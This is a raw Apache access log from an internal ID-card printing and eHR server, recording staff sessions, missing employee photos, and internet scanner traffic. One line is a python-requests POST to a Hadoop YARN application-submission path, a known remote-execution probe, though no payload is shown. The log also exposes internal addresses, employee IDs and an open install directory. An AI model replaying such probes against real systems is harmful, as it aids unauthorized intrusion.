192.168.11.222 - - [04/Sep/2025:11:18:02 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:18:02 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:18:03 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136
192.168.11.222 - - [04/Sep/2025:11:18:03 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:18:16 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:18:16 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52
192.168.11.222 - - [04/Sep/2025:11:18:54 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:18:54 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 -
192.168.11.222 - - [04/Sep/2025:11:18:55 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136
192.168.11.222 - - [04/Sep/2025:11:18:55 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:26 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:26 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [04/Sep/2025:11:24:27 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857
192.168.11.222 - - [04/Sep/2025:11:24:27 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:30 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.222 - - [04/Sep/2025:11:24:30 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:33 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 11298 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:33 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 11298
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250743.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250743.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250744.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250744.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 17256 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 17256
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250745.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250745.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250746.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250746.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250748.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250748.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250747.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250747.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250749.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250749.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250750.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250750.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250751.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250751.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /idcard/upload/org_pic/idcard_company_log.png HTTP/1.1" 200 26231 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /idcard/upload/org_pic/idcard_company_log.png HTTP/1.1" 200 26231
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /idcard/css/printidcard.css HTTP/1.1" 200 1715
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /idcard/css/printidcard.css HTTP/1.1" 200 1715 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /idcard/js/jquery-barcode-2.0.2.min.js HTTP/1.1" 200 25006
192.168.11.222 - - [04/Sep/2025:11:24:37 +0800] "GET /idcard/js/jquery-barcode-2.0.2.min.js HTTP/1.1" 200 25006 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250744.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250744.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250743.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250743.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250745.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250745.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250746.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250746.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250748.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250748.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250747.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250747.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250749.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250749.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250751.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250751.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250750.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:40 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250750.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250743.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250743.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250745.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250745.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250744.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250744.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250746.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250746.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250747.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250747.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250748.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250748.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250749.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250749.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250750.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250750.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250751.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250751.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250743.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250743.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250744.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250744.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250745.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250745.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250746.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250746.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250747.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250747.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250748.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250748.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250749.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250749.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250750.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250750.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250751.jpg HTTP/1.1" 404 244
192.168.11.222 - - [04/Sep/2025:11:24:43 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250751.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
100.64.0.1 - - [04/Sep/2025:11:26:17 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:11:26:17 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:11:27:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:11:27:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806
100.64.0.1 - - [04/Sep/2025:11:28:46 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [04/Sep/2025:11:28:46 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.32.4"
100.64.0.1 - - [04/Sep/2025:11:36:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:11:36:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:11:39:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:11:39:06 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:11:40:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:11:40:01 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:11:42:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:11:42:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:11:46:33 +0800] "GET / HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [04/Sep/2025:11:46:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:11:51:46 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [04/Sep/2025:11:51:46 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:12:01:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:12:01:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:12:05:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:12:05:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:12:19:00 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:12:19:00 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:12:19:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:12:19:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:12:26:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:12:26:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:12:29:26 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:12:29:26 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:12:35:51 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)"
100.64.0.1 - - [04/Sep/2025:12:35:51 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:12:55:45 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:12:55:45 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:12:56:59 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp10029.so HTTP/1.1" 200 24670 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:12:56:59 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp10029.so HTTP/1.1" 200 24670
100.64.0.1 - - [04/Sep/2025:12:57:16 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:12:57:16 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:13:01:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:13:01:09 +0800] "GET / HTTP/1.1" 200 439
192.168.40.39 - - [04/Sep/2025:13:01:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [04/Sep/2025:13:01:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [04/Sep/2025:13:01:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340
192.168.40.39 - - [04/Sep/2025:13:01:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
